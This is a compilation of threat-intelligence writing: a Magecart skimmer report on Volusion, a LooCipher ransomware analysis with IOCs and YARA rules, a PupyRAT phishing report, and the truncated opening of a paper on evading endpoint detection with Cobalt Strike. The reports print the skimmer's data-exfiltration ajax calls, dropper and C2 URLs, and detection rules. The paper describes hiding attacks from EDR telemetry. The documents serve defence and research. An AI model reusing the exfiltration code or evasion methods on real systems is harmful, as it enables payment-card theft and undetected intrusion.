“mousedown” and “touchstart” of the payment submit button. This means that when victims click (from desktop) or touch (from mobile devices) the submit button, the events will be triggered and the skimmer will be executed. The skimmer copies the information on the entire payment form: the victim’s name, address, phone number, email address, and credit card details (the number, cardholder name, expiration month, expiration year, and CVV number). Once the skimmer has the credit card details, it serializes the copied data into a string and encodes it with Base64. Then, it performs a character permutation on the encoded string to make sure it can’t be directly decoded with Base64 decoding. The data will then be stored in sessionStorage with the key “__utmz_opt_in_out”. The next time the skimmer is loaded (usually on the page after the payment), it will detect if there is data inside sessionStorage and it will use HTTP POST to send the stolen payment information to a remote server at `hxxps[:]//volusion-cdn[.]com/analytics/beacon` for exfiltration. Note that the attackers used the domain “volusion-cdn[.]com” for their exfiltration server, a similar name to Volusion’s legitimate server. A possible reason why the attackers stored the skimmer on Google Storage is because Volusion is also running its service on the Google Cloud Platform. ## Evidence of Magecart or FIN6 As previously mentioned, based on the modus operandi, we believe the attackers are from Magecart Group 6, also known as the threat actor FIN6. Here are the connections we considered: - Group 6 is known to only target top-tier victims, investing in scams where they can receive a big payoff from one attack. This single hack of Volusion allows them to receive credit card data from 3,126 online shops. - From the previous skimming attack on the British Airways and Newegg websites, we know that Group 6 tried to register the domains of the exfiltration server to be similar to the victims’ domains. In this case, the domain of the exfiltration server is “volusion-cdn[.]com” — very similar to the valid domain “cdn3[.]volusion[.]com” from Volusion. In addition, the exfiltration domains used during the British Airways, Newegg, and Volusion attacks are all registered through Namecheap. - We found that the skimmer is an improved version of the previous skimmer used in the attacks on British Airways and Newegg. Both old and current skimmers are written with jQuery, serialize the stolen data, and use the jQuery.ajax function to POST data to a remote server. Although the older skimmer is much simpler compared to the current one, it didn’t encode the stolen data or store the data in sessionStorage before the exfiltration. | Target | Script of Data Exfiltration Request | |-----------------|-----------------------------------------------------------------------------------------------------| | British Airways | `jQuery.ajax({type:"POST",async:0,url:”[exfiltration url]”,data:t,dataType:"application/json"})` | | Newegg | `jQuery.ajax({type:"POST",async:true,url:”[exfiltration url]”,data:pdati,dataType:"application/json"})` | | Volusion | `$.ajax({type: 'POST',url: '[exfiltration url]',dataType: 'application/x-www-form-urlencoded',data: d,complete: function() { window.sessionStorage.removeItem('__utmz_opt_in_out'); }})` | It’s also interesting to see that the skimmer in this attack binds to event “mousedown” and event “touchstart” of the payment submit button. The previous Group 6 skimmer binds to event “mouseup” and event “touchend”. These events are different, but they are the pairs of each other that trigger the skimmer at almost the same time. It seems that they want to trigger the skimmer at the same moment, but the current version binds on two opposite events of the pairs to avoid detection from heuristic rules. | Target | Script of Event Binding | |-----------------|-------------------------------------------------------------| | British Airways | `.bind("mouseup touchend", function(a) {…})` | | Newegg | `.bind("mouseup touchend", function(e) {…})` | | Volusion | `.bind('mousedown touchstart', z)` | It seems that Magecart is continuing to change and experiment with new attack methods, refining its skimmer to evade detection. Sophisticated groups such as these will always try to find new ways to stay undetected in their victims’ systems. To defend against this type of threat, website owners should regularly check and strengthen their security with patches and server segregation. Site owners should also employ robust authentication mechanisms, especially for those that store and manage sensitive data. IT and security teams should restrict or disable outdated components and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification. The following Trend Micro solutions, powered by XGen™ security, protect users and businesses by blocking the scripts and preventing access to the malicious domains: - Trend Micro Security - Smart Protection Suites and Worry-Free™ Business Security - Trend Micro Network Defense - Hybrid Cloud Security Researcher Marcel Afrahim also published a Medium post on this case. ## Indicators of Compromise | Indicator | Attribution | Detection Name | |------------------------------------------------------------------------------------------------|------------------|-------------------------------------| | volusion-cdn[.]com | FIN6 | Exfiltration server domain | | `https[:]//volusion-cdn[.]com/analytics/beacon` | FIN6 | Exfiltration server URL | | `https[:]//storage[.]googleapis[.]com/volusionapi/resources.js` | FIN6 | Credit card skimmer URL | | 2348433df49e73217969a45726c53441f092c4a6fce57d1d58a6cf79d3976058 | FIN6 | TrojanSpy.JS.MAGECART.C | | cee25c699a14a04c6e1b6e6fcd5ce7d4414c9f324b62509a7af14ae5bf749af8 | FIN6 | TrojanSpy.JS.MAGECART.D | | d03f18a71ce059a79840a38aad4944426f0524bbd68a7a8fb7003c82996e6533 | FIN6 | TrojanSpy.JS.MAGECART.D | A Volusion spokesperson has added the following statement: "Volusion was alerted of a data security incident and can confirm that it was resolved within a few hours of notification. We are coordinating with authorities on this matter, and continue to enhance our systems that detect and prevent unauthorized access to user accounts. A limited portion of customer information was compromised from a subset of our merchants. This included credit card information, but not other associated personally identifying details. We are not aware of any fraudulent activity connected to this matter. Volusion has taken action to help secure accounts, and we are continuing to monitor this matter in order to assure the security of our merchants."
# LooCipher: The New Infernal Ransomware **July 2, 2019** ## Introduction A new ransomware began to threaten the digital world. This time using a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thanks to the term “Cipher”) and to the popular religious figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straightforward, not very different from those belonging to many other ransomware families, but digging into its internals we also found elements suggesting its operators could be able to run large scale campaigns. ## Technical Analysis Unlike most ransomware, LooCipher uses a macro-weaponized document as a dropper of the real threat. We identified two different document files involved in deploying the ransomware, they are called: “Info_BSV_2019.docm” and “Info_Project_BSV_2019.docm”. Both files are very poor in design and contain a single text line inviting the user to enable macro execution. Exploring the content in-depth, we retrieved its minimal macro code payload: its only purpose is to download the ransomware from the “hxxp://hcwyo5rfapkytajg.onion[.]pet/2hq68vxr3f.exe” drop URL and launch it. The author did not care to obfuscate in any sophisticated way his malicious code, even some comment strings like “//binary” and “//overwrite” are still visible. Once run, it starts the encryption of all the victim’s files, except for the system and programs folders: “Program Files”, “Program Files (x86)”, “Windows”. Obviously, this trick allows avoiding the corruption of the files needed to start the operating system, letting the user log in to see the ransom request. After a long files enumeration phase, the ransomware encrypts all files ending with the following extensions: ``` .jpg, .jpeg, .xml, .xsl, .wps, .cmf, .vbs, .accdb, .cdr, .svg, .conf, .config, .wb2, .msg, .azw, .azw1, .azw3, .azw4, .lit, .apnx, .mobi, .p12, .p7b, .p7c, .pfx, .pem, .cer, .key, .der, .mdb, .htm, .html, .class, .java, .asp, .aspx, .cgi, .php, .py, .jsp, .bak, .dat, .pst, .eml, .xps, .sqllite, .sql, .jar, .wpd, .crt, .csv, .prf, .cnf, .indd, .number, .pages, .x3f, .srw, .pef, .raf, .rf, .nrw, .nef, .mrw, .mef, .kdc, .dcr, .crw, .eip, .fff, .iiq, .k25, .crwl, .bay, .sr2, .ari, .srf, .arw, .cr2, .raw, .rwl, .rw2, .r3d, .3fr, .eps, .pdd, .dng, .dxf, .dwg, .psd, .png, .jpe, .bmp, .gif, .tiff, .gfx, .jge, .tga, .jfif, .emf, .3dm, .3ds, .max, .obj, .a2c, .dds, .pspimage, .yuv, .3g2, .3gp, .asf, .asx, .mpg, .mpeg, .avi, .mov, .flv, .wma, .wmv, .ogg, .swf, .ptx, .ape, .aif, .av, .ram, .m3u, .movie, .mp1, .mp2, .mp3, .mp4, .mp4v, .mpa, .mpe, .mpv2, .rpf, .vlc, .m4a, .aac, .aa3, .amr, .mkv, .dvd, .mts, .vob, .3ga, .m4v, .srt, .aepx, .camproj, .dash, .zip, .rar, .gzip, .mdk, .mdf, .iso, .bin, .cue, .dbf, .erf, .dmg, .toast, .vcd, .ccd, .disc, .nrg, .nri, .cdi, .ai, .doc, .docm, .docx, .dxg, .odb, .odm, .odp, .ods, .odt, .orf, .ppt, .pptm, .pptx, .rtf, .xlk, .xls, .xlsb, .xlsm, .xlsx, .pdf, .mobi, .epub, .sage ``` During the encryption phase, for each file to be encrypted, the malware creates the encrypted copy of the files but does not delete the original ones; rather, it empties them and forces a 0-byte size. It is not clear if this mechanism derives from buggy code or it is a specific peculiarity of this malware, intentionally introduced by the author. When the encryption phase ends, it creates a FAQ folder within the victim’s desktop reporting the instructions to proceed with ransom payment in a “friendly” Q&A form. As stated in the payment instruction file, the victim has only five days to proceed with the payment. After this period, the key will be automatically destroyed, preventing any way to recover the user content. Similar information is also displayed in the image set as background and into the interactive pop-up window. As soon as the encryption phase is ended, the malicious process contacts its C2 sending information about the infected machine and retrieving the BTC address to display in the pop-up window. The C2 is hosted in the TOR Network, at the “hxxp://hcwyo5rfapkytajg[.]onion” address, so the malware uses some services which act as proxies between the Darknet and clearnet to easily perform its malicious actions, avoiding the installation of TOR libraries on the victim machine. The request sent by the malware includes information like the User-ID assigned to the victim machine during the encryption phase “u=rEui7jhIJk6SaRTyhL08N7h1Sft” and its public IP address “i=xxx.xxx.xxx.xxx”. The C2 server replies specifying the BTC Address the user will pay the requested amount to, for instance “BTC_ADDR: 16HDCwCuy2R5b7YFCmsidXzHQrvHmT7VHGG”. We noticed that every time the ransomware contacts its C2 at the “k.php” resource, the server generates a new BTC Address. Probably, the backend embeds a BTC wallet factory able to register a new wallet on the blockchain for each ransomware infection. This trick surely allows making more stealthy BTC transactions, avoiding a huge number of transactions towards the same wallet and hardening the cash flow reconstruction. However, if the victim machine is offline, the ransomware is not able to download the BTC address to display in the window. For this reason, the malware also embeds a fallback addresses list to use when it fails to reach the C2. An interesting peculiarity of this ransomware is its capability to work both as encryptor and as decryptor. The last answer of the instruction file, in fact, reports that the decryptor software is embedded into the ransomware binary in order to make the decryption process as simple as possible. In fact, after the payment, the victim can click on the “Check Payment” button included in the pop-up window, and so, if the transaction has been confirmed, the “DECRYPT” button will be enabled. Moreover, if the user accidentally closes the pop-up window needed to trigger the decryption, he can download a new copy of the ransomware and use it as a decryptor. That copy is hosted on the MEGA repository. Clicking the “Check Payment” button, the process sends a new HTTP request to its C2 to “/d.php” in order to check if the payment related to the specific User-ID has been received. In the specific case, the server replies with the “0” value, indicating the payment has not been approved, so the “DECRYPT” button will not be enabled. Moreover, if the contacted server is down, the malware tries to reach its TOR C2 using one of the other above-mentioned proxies, avoiding proxy service failures. ## Conclusion Nowadays, ransomware is one of the quickest ways to monetize cyber-criminal activities, and for this reason, a wide range of threat actors, including micro cyber-criminals, leverage these "tools" to threaten organizations and companies. LooCipher is a new entry in this sector: it's a ransomware family spreading through malicious emails embedding infected Office documents, differently from the recent Sodinokibi campaign that used redirectors to land the victims on Exploit Kits infected pages. LooCipher encrypts all files on the victim's computer, it abuses Clearnet-to-Tor proxy services to connect to its Command and Control hidden behind onion sites. Cybaze-Yoroi ZLAB advises to always keep a recent, tested, and offline backup of all the business-critical data. ## Indicators of Compromise **Hashes:** - ff24d9575694ae2a1e6a6101a2dbaa95dd1ab31b44a3931f6d6a62bbf5be2cbd - e824650b66c5cdd8c71983f4c4fc0e1ac55cd04809d562f3b6b4790a28521486 - 43cfb0a439705ab2bd7c46b39a7265ff0a14f7bd710b3e1432a9bdc4c1736c49 - 924cc338d5d03f8914fe54f184596415563c4172679a950245ac94c80c023c7d **DropURL:** - hxxp://hcwyo5rfapkytajg[.]onion/2hq68vxr3f.exe - hxxp://hcwyo5rfapkytajg[.]onion/3agpke31mk.exe - hxxp://hcwyo5rfapkytajg[.]onion/Info_BSV_2019.docm - hxxp://hcwyo5rfapkytajg[.]onion/Info_Project_BSV_2019.docm - hxxp://hcwyo5rfapkytajg.onion[.]pet/2hq68vxr3f.exe - hxxp://hcwyo5rfapkytajg.onion[.]pet/3agpke31mk.exe - hxxp://hcwyo5rfapkytajg.onion[.]pet/Info_BSV_2019.docm - hxxp://hcwyo5rfapkytajg.onion[.]pet/Info_Project_BSV_2019.docm - hxxps://hcwyo5rfapkytajg.darknet[.]to/2hq68vxr3f.exe - hxxps://hcwyo5rfapkytajg.darknet[.]to/3agpke31mk.exe - hxxps://hcwyo5rfapkytajg.darknet[.]to/Info_BSV_2019.docm - hxxps://hcwyo5rfapkytajg.onion[.]sh/2hq68vxr3f.exe - hxxps://hcwyo5rfapkytajg.onion[.]sh/3agpke31mk.exe - hxxps://hcwyo5rfapkytajg.onion[.]sh/Info_BSV_2019.docm - hxxps://hcwyo5rfapkytajg.onion[.]ws/2hq68vxr3f.exe - hxxps://hcwyo5rfapkytajg.onion[.]ws/3agpke31mk.exe - hxxps://hcwyo5rfapkytajg.onion[.]ws/Info_BSV_2019.docm - hxxps://hcwyo5rfapkytajg.tor2web[.]xyz/2hq68vxr3f.exe - hxxps://hcwyo5rfapkytajg.tor2web[.]xyz/3agpke31mk.exe - hxxps://hcwyo5rfapkytajg.tor2web[.]xyz/Info_BSV_2019.docm **C2s:** - hxxp://hcwyo5rfapkytajg.onion[.]pet/k.php - hxxp://hcwyo5rfapkytajg.onion[.]pet/d.php - hxxps://hcwyo5rfapkytajg.darknet[.]to/k.php - hxxps://hcwyo5rfapkytajg.darknet[.]to/d.php - hxxps://hcwyo5rfapkytajg.onion[.]sh/k.php - hxxps://hcwyo5rfapkytajg.onion[.]sh/d.php - hxxps://hcwyo5rfapkytajg.onion[.]ws/k.php - hxxps://hcwyo5rfapkytajg.onion[.]ws/d.php - hxxps://hcwyo5rfapkytajg.tor2web[.]xyz/k.php - hxxps://hcwyo5rfapkytajg.tor2web[.]xyz/d.php ## Yara Rules ```yara import "pe" rule LooCipher_dropper_1906 { meta: description = "Yara Rule for LooCipher ransomware .docm dropper" author = "Cybaze - Yoroi ZLab" last_updated = "2019-06-21" tlp = "white" category = "informational" strings: $s1 = {FF FD 72 77 6D 3A 3F 96 45 70 00 63 85 92 19 8A} $s2 = {35 58 34 CB AF AF 52 A6 13 A6 0C BC 18 A5 C1 38} $a1 = { 50 4B 03 04 } condition: $a1 and 1 of ($s*) } rule LooCipher_1906 { meta: description = "Yara Rule for LooCipher ransomware" author = "Cybaze - Yoroi ZLab" last_updated = "2019-06-21" tlp = "white" category = "informational" strings: $s1 = ".lcphr" $s2 = "hcwyo5rfapkytajg" $s3 = "LooCipher_wallpaper.bmp" $a1 = { 4D 5A } condition: $a1 and 1 of ($s*) and pe.sections[6].name == ".00cfg" } ``` This blog post was authored by Antonio Farina, Antonio Pirozzi, and Luca Mella of Cybaze-Yoroi Z-LAB.
# Iranian PupyRAT Bites Middle Eastern Organizations **Threats & Defenses** Customized phishing lures distribute PupyRAT malware. **Wednesday, February 15, 2017** By: Counter Threat Unit Research Team SecureWorks® Counter Threat Unit™ (CTU) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017. Some messages were sent from legitimate email addresses belonging to several Middle Eastern organizations. ## Campaign details The threat actor used shortened URLs in the body of the phishing emails that redirected to several spoofed domains. | Spoofed domain | Legitimate domain | Associated organization | |------------------------|-------------------------|-------------------------------------------------------------| | ntg-sa.com | ntg.com.sa | National Technology Group, a Saudi Arabian telecommunications company | | itworx.com-ho.me | itworx.com | ITWorx, an Egyptian information technology services firm | | mci.com-ho.me | mci.gov.sa | Saudi Ministry of Commerce | | moh.com-ho.me | moh.gov.sa | Saudi Ministry of Health | | mol.com-ho.me | mol.gov.sa | Saudi Ministry of Labor | Recipients who clicked the URL were presented a Microsoft Office document related to the phishing theme. The downloaded document attempts to run a macro that then runs a PowerShell command. This command downloads two additional PowerShell scripts that install PupyRAT, an open-source remote access trojan (RAT). According to the developer, PupyRAT is a “multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in Python.” CTU™ analysis confirms that PupyRAT can give the threat actor full access to the victim's system. ## Conclusion CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group (formerly labeled Threat Group-2889). CTU researchers assess with high confidence that COBALT GYPSY is associated with Iranian government-directed cyber operations, and it has used tactics similar to this campaign: - targeting Saudi financial, oil, and technology organizations - using job-themed lures to infect systems - registering spoofed domains - spearphishing new victims using legitimate email addresses This campaign highlights the need for organizations to educate users about the risks of spearphishing and shortened links. CTU researchers recommend that organizations disable macros in Microsoft Office products to prevent attacks that leverage this functionality. Organizations should also incorporate advanced malware prevention technology and endpoint threat detection tools as part of their mitigation strategies. ## Threat indicators The indicators below are associated with the PupyRAT campaign. The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser. | Indicator | Type | Context | |------------------------------------|--------|---------------------------------------------------| | ntg-sa.com | Domain | Attacker-controlled spoofed website name | | itworx.com-ho.me | Domain | Attacker-controlled spoofed website name | | mci.com-ho.me | Domain | Attacker-controlled spoofed website name | | moh.com-ho.me | Domain | Attacker-controlled spoofed website name | | mol.com-ho.me | Domain | Attacker-controlled spoofed website name | | 45.32.186.33 | IP | Hosting spoofed domains used in PupyRAT phishing campaign | | 139.59.46.154 | IP | Hosting PowerShell stages of PupyRAT download | | 89.107.62.39 | IP | PupyRAT command and control server | | 43fad2d62bc23ffdc6d301571135222c | MD5 | Job-themed Word document lure (qhtma) delivering PupyRAT | | 735f5d7ef0c5129f0574bec3cf3d6b06b052744a | SHA1 | Job-themed Word document lure (qhtma) delivering PupyRAT | | e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 | SHA256 | Job-themed Word document lure (qhtma) delivering PupyRAT | | 1b5e33e5a244d2d67d7a09c4ccf16e56 | MD5 | Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT | | 934c51ff1ea00af2cb3b8465f0a3effcf759d866 | SHA1 | Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT | | 66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b | SHA256 | Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT | | 03ea9457bf71d51d8109e737158be888 | MD5 | Password-themed lure (Password_Policy.xlsm) delivering PupyRAT | | d20168c523058c7a82f6d79ef63ea546c794e57b | SHA1 | Password-themed lure (Password_Policy.xlsm) delivering PupyRAT | | 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b | SHA256 | Password-themed lure (Password_Policy.xlsm) delivering PupyRAT | | 97cb7dc1395918c2f3018c109ab4ea5b | MD5 | PupyRAT (pupyx86.dll) | | 3215021976b933ff76ce3436e828286e124e2527 | SHA1 | PupyRAT (pupyx86.dll) | | 8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71 | SHA256 | PupyRAT (pupyx86.dll) | ## Gauging confidence level CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate confidence in their assessments: - **High confidence** generally indicates that judgments are based on high-quality information, and/or that the nature of the issue makes it possible to render a solid judgment. A "high confidence" judgment is not a fact or a certainty, however, and such judgments still carry a risk of being wrong. - **Moderate confidence** generally means that the information is credibly sourced and plausible but not of sufficient quality or corroborated sufficiently to warrant a higher level of confidence. - **Low confidence** generally means that the information's credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that there are significant concerns or problems with the sources.
# An Empirical Assessment of Endpoint Security Systems Against Advanced Persistent Threats Attack Vectors **George Karantzas** and **Constantinos Patsakis** 1Department of Informatics, University of Piraeus, Greece 2Information Management Systems Institute of Athena Research Center, Greece ## Abstract Advanced persistent threats pose a significant challenge for blue teams as they apply various attacks over prolonged periods, impeding event correlation and detection. In this work, we leverage various diverse attack scenarios to assess the efficacy of EDRs and other endpoint security solutions against detecting and preventing APTs. Our results indicate that there is still a lot of room for improvement as state-of-the-art endpoint security systems fail to prevent and log the bulk of the attacks reported in this work. Additionally, we discuss methods to tamper with the telemetry providers of EDRs, allowing an adversary to perform a more stealthy attack. **Index terms**— Advanced Persistent Threats; EDR; Malware; Evasion; Endpoint security ## 1 Introduction Cyber attacks are constantly evolving in both sophistication and scale, reaching such an extent that the World Economic Forum considers it the second most threatening risk for global commerce over the next decade. The underground economy that has been created has become so huge to the point of being comparable to the size of national economies. Contrary to most cyberattacks which have a ‘hit-and-run’ modus operandi, we have advanced persistent threats, most widely known through the abbreviation APT. In most cyber attacks, the threat actor would try to exploit a single exploit or mechanism to compromise as many hosts as possible and try to immediately monetize the abuse of the stored information and resources as soon as possible. However, in APT attacks, the threat actor opts to keep a low profile, exploiting more complex intrusion methods through various attack vectors and prolonging the control of the compromised hosts. Indeed, this control may span several years, as numerous such incidents have shown. Due to their nature and impact, these attacks have received a lot of research focus as the heterogeneity of the attack vectors introduces many issues for traditional security mechanisms. For instance, due to their stealth character, APTs bypass antiviruses and therefore, more advanced methods are needed to timely detect them. The goal of an Endpoint Protection Platform (EPP) is to prevent and mitigate endpoint security threats such as malware. Going a step further, Endpoint Detection and Response (EDR) systems provide a more holistic approach to the security of an organization as beyond signatures, EDRs correlate information and events across multiple hosts of an organization. Therefore, individual events from endpoints that could fall below the radar are collected, processed, and correlated, providing blue teams with a deep insight into the threats that an organization’s perimeter is exposed to. Despite the research efforts and the advanced security mechanisms deployed through EPPs and EDRs, recent events illustrate that we are far from being considered safe from such attacks. Since APT attacks are not that often and not all details can be publicly shared, we argue that a sanity check to assess the preparedness of such security mechanisms against such attacks is deemed necessary. Therefore, we decided to conduct an APT group simulation to test the enterprise defenses’ capabilities and especially EDRs, covering also some EPPs. To this end, we opted to simulate an APT attack in a controlled environment using a set of scripted attacks which match the typical modus operandi of these attacks. Thus, we try to infiltrate an organization using spear-phishing and malware delivery techniques and then examine the IOCs and responses produced by the EDRs. We have created four such use case scenarios which are rather indicative and diverse enough to illustrate the weak points of several perimeter security mechanisms, focusing more on EDRs. Based on the above, the contribution of our work is dual. First, we illustrate that despite the advances in static and dynamic analysis, as well as multiple log collection mechanisms applied by state-of-the-art EDRs, there are multiple ways that a threat actor may launch a successful attack without raising suspicions. As it will be discussed, while some of the EDRs may log fragments of the attacks, this does not imply that these logs will trigger an alert. Moreover, even if an alert is triggered, one has to consider it from the security operations center (SOC) perspective. Practically, a SOC receives multiple alerts, each with different severity. These alerts are prioritized and investigated according to this severity. Therefore, low severity alerts may slip below the radar and not be investigated, especially once the amount of alerts in a SOC is high. Furthermore, we discuss how telemetry providers of EDRs can be tampered with, allowing an adversary to hide her attack and trails. To the best of our knowledge, there is no empirical assessment of the efficacy of real-world EDRs and EPPs in scientific literature, nor conducted in a systematic way to highlight their underlying issues in a unified way. Beyond scientific literature, we consider that the closest work is MITRE Engenuity; however, our work provides the technical details for each step, from the attacker’s perspective. Moreover, we differ from the typical APT capabilities that are reported for each known group using and modifying off-the-shelf tools. Therefore, this work is the first one conducting such an assessment. By no means should this work serve as guidance on security investment in any specific EDR solution. As it will be discussed later on, the outcomes of this work try to point out specific representative attack vectors and cannot grasp the overall picture of all possible attacks that EDRs can mitigate. Indeed, customization of EDRs rules may significantly change their efficacy; nevertheless, the latter depends on the experience of the blue teams handling these systems. The rest of this work is organized as follows. In the following section, we provide an overview of the related work regarding EDRs and APT attacks. Then, we present our experimental setup and detail the technical aspects of our four attack vectors. In Section 4, we evaluate eleven state-of-the-art EDRs and assess their efficacy in detecting and reporting our four attacks. Next, in Section 5 we present tampering attacks on telemetry providers of EDRs and their impact. Finally, the article concludes by summarizing our contributions and discussing ideas for future work. ## 2 Related Work ### 2.1 Endpoint Detection and Response Systems The term endpoint detection and response (EDR), also known as endpoint threat detection and response (ETDR), is coined by A. Chuvakin back in 2013. As the name implies, this is an endpoint security mechanism that does not cover the networking. EDRs collect data from endpoints and send them for storage and processing in a centralized database. There, the collected events, binaries, etc., will be correlated in real-time to detect and analyze suspicious activities on the monitored hosts. Thus, EDRs boost the capabilities of SOCs as they discover and alert both the user and the emergency response teams of emerging cyber threats. EDRs are heavily rule-based; nevertheless, machine learning or AI methods have gradually found their way into these systems to facilitate finding new patterns and correlations. An EDR extends antivirus capabilities as an EDR will trigger an alert once it detects anomalous behavior. Therefore, an EDR may detect unknown threats and prevent them before they become harmful due to the behavior and not just merely the signatures. While behavioral patterns may sound ideal for detecting malicious acts, this also implies many false positives; that is, benign user actions considered malicious, as EDRs prioritize precision over recall. Therefore, SOCs have to deal with sheer amounts of noise as many of the received alerts are false. This is the reason why Hassan et al. recently introduced Tactical Provenance Graphs (TPG). They reason about the causal dependencies between the threat alerts of an EDR and improve the visualization of multistage attacks. Moreover, their system, RapSheet, has a different scoring system that significantly reduces the false positive rate. Finally, an EDR can perform remediation or removal tasks for specific threats. Despite the significant boost in security that EDRs bring, the overall security of the organization highly depends on the human factor. In the case of the blue teams, the results against an attack are expected to greatly vary between fully trained teams in Incident Response and teams that solely respond to specific detected threats and are dependent on the output of a single security tool. However, both teams are expected to be triggered by and later investigate the telemetry from EDRs. Since the experience and the capacity of the blue team depend on multiple factors which are beyond the scope of our work, in this study we focus on the telemetry of the EDRs, the significance that they label events, and whether they blocked some actions. Nevertheless, we highlight that not all EDRs allow the same amount of customization nor implementation of the same policies. Moreover, blue teams cannot have the experience in all EDRs to configure them appropriately as each team will specialize in a limited set of solutions due to familiarity with a platform, marketing, or even customer policies. Moreover, not all blue teams face the same threats which may significantly bias the prioritization of rules that blue teams would include in an installation, let alone the client needs. The above constitute diverse factors that cannot be studied in the context of this work. On the contrary, we should expect that a baseline security when opting in for all possible security measures should be more or less the same across most EDRs. Moreover, one would expect that even if the EDR failed to block an attack, it should have at least logged the actions so that one can later process it. However, our experiments show that often this is not the case. ### 2.2 Advanced Persistent Threats The term advanced persistent threat (APT) is used to describe an attack in which the threat actor establishes stealth, long-term persistence on a victim’s computing infrastructure. The usual goal is to exfiltrate data or to disrupt services when deemed necessary by the threat actor. These attacks differ from the typical ‘hit and run’ modus operandi as they may span from months up to years. The attacks are launched by high-skilled groups, which are either a nation state or state-sponsored. As noted by Chen et al., APT attacks consist of six phases: (1) reconnaissance and weaponization; (2) delivery; (3) initial intrusion; (4) command and control; (5) lateral movement; and (6) data exfiltration. Complementary to this model, other works consider attack trees to represent APTs as different paths may be used in parallel to get the foothold on the targeted resources. Thus, information flows are often used to detect APTs along with anomaly detection, sandboxing, pattern matching, and graph analysis. The latter implies that EDRs may serve as excellent means to counter APT attacks. In many such attacks, threat actors use fileless malware, a particular type of malware that does not leave any malicious fingerprint on the filesystem of the victim as they operate in memory. The core idea behind this is that the victim will be lured into opening a benign binary, e.g., using social engineering, and this binary will be used to execute a set of malicious tasks. In fact, there are plenty of binaries and scripts preinstalled in Windows or later downloaded by the OS and are either digitally signed or whitelisted by the operating system and enable a set of exploitable functionalities to be performed. Since they are digitally signed by Microsoft, User Account Control (UAC) allows them to perform a set of tasks without issuing any alert to the user. These binaries and scripts are commonly known as Living Off The Land Binaries and Scripts (and also Libraries), or LOLBAS/LOLBINS. ### 2.3 Cyber Kill Chain Cyber kill chain is a model which allows security analysts to deconstruct a cyber attack, despite its complexity, into mutually nonexclusive phases. The fact that each phase is isolated from the others allows one to analyze each part of the attack individually and create mitigation methods and detection rules that can facilitate defense mechanisms for the attack under question or similar ones. Moreover, blue teams have to address smaller problems, one at a time which is far more resource efficient than facing a big problem as a whole. In the cyber kill chain model, we consider that a threat actor tries to infiltrate a computer network in a set of sequential, incremental, and progressive steps. Thus, if any stage of the attack is prevented, then the attack will not be successful. Therefore, the small steps that we referred above are crucial in countering a cyber attack and the earlier phase one manages to prevent an attack, the smaller impact it will have. While the model is rather flexible, it has undergone some updates to fit more targeted use cases, e.g., Internal Cyber Kill Chain to address issues with internal malicious actors; such as a disgruntled or disloyal employee. MITRE’s ATT&CK is a knowledge base and model which tries to describe the behavior of a threat actor throughout the attack lifecycle from reconnaissance and exploitation, to persistence and impact. To this end, ATT&CK provides a comprehensive way to categorize the tactics, techniques, and procedures of an adversary, abstracting from the underlying operating system and infrastructure. Based on the above, using ATT&CK one can emulate threat scenarios or assess the efficacy of deployed defense mechanisms against common adversary techniques. More recently, Pols introduced the Unified Kill Chain which extends and combines Cyber Kill Chain and MITRE’s ATT&CK. The Unified Kill Chain addresses issues that are not covered by Cyber Kill Chain and ATT&CK as, among others, it models adversaries’ behaviors beyond the organizational perimeter, users’ roles, etc. ## 3 Experimental Setup In this section, we detail the preparation for our series of experiments to the EDRs and EPPs. Because our goal is to produce accurate and reproducible results, we provide the necessary code where deemed necessary. To this end, we specifically design and run experiments to answer the following research questions: - **RQ1:** Can state-of-the-art endpoint security systems detect common APT attack methods? - **RQ2:** Which are the blind spots of state-of-the-art endpoint security systems? - **RQ3:** What information is reported by EDRs and EPPs and which is their significance? - **RQ4:** How can one decrease the significance of reported events or even prevent the reporting? Using ATT&CK as a knowledge base and model, one can model the behavior of the threat actor that we emulate. Due to space limitations, we have opted to use a modified version of the standard ATT&CK matrix and used a radial circular dendrogram. In this work, we perform an empirical assessment of the security of EDRs. The selected EDRs were chosen based on the latest Gartner’s 2021 report, as we included the vast majority of the leading EDRs in the market. The latter implies that we cover a big and representative market share which in fact drives the evolution and innovation in the sector. In our experiments, we opted to use the most commonly used C2 framework, Cobalt Strike. It has been used in numerous operations by both threat actors and ‘red teams’ to infiltrate organizations. Moreover, we used a mature domain; an expired domain with proper categorization that will point to a VPS server hosting our Cobalt Strike team-server. This would cause less suspicion and hopefully bypass some restrictions as previous experience has shown with parked domains and expired domains. We issued a valid SSL certificate for our C2 communication from Let’s Encrypt to encrypt our traffic. Cobalt Strike deploys agents named ‘beacons’ on the victim, allowing the attacker to perform multiple tasks on the compromised host. In our experiments, we used the so-called malleable C2 profile as it modifies the beacon’s fingerprint. This masks our network activity and our malware’s behavior. ### 3.1 Attack Vectors We have structured four diverse yet real-world scenarios to perform our experiments, which simulate the ones used by threat actors in the wild. We believe that an empirical assessment of EDRs should reflect common attack patterns in the wild. Since the most commonly used attack vector by APT groups is emails, as part of social engineering or spear phishing, we opted to use malicious attached files which the target victim would be lured to execute. Moreover, we should consider that due to the high noise from false positives that EDRs report, it is imperative to consider the score that each event is attributed to. Therefore, in our work we try to minimize the reported score of our actions in the most detailed setting of EDRs. With this approach, we guarantee that the attack will pass below the radar. Based on the above, our hypothetical threat actor starts its attack with some spear-phishing emails that try to lure the target user into opening a file or following a link that will be used to compromise the victim’s host. To this end, we have crafted some emails with links to cloud providers that lead to some custom malware. More precisely, the attack vectors are the following: - A `.cpl` file: A DLL file which can be executed by double-clicking under the context of the 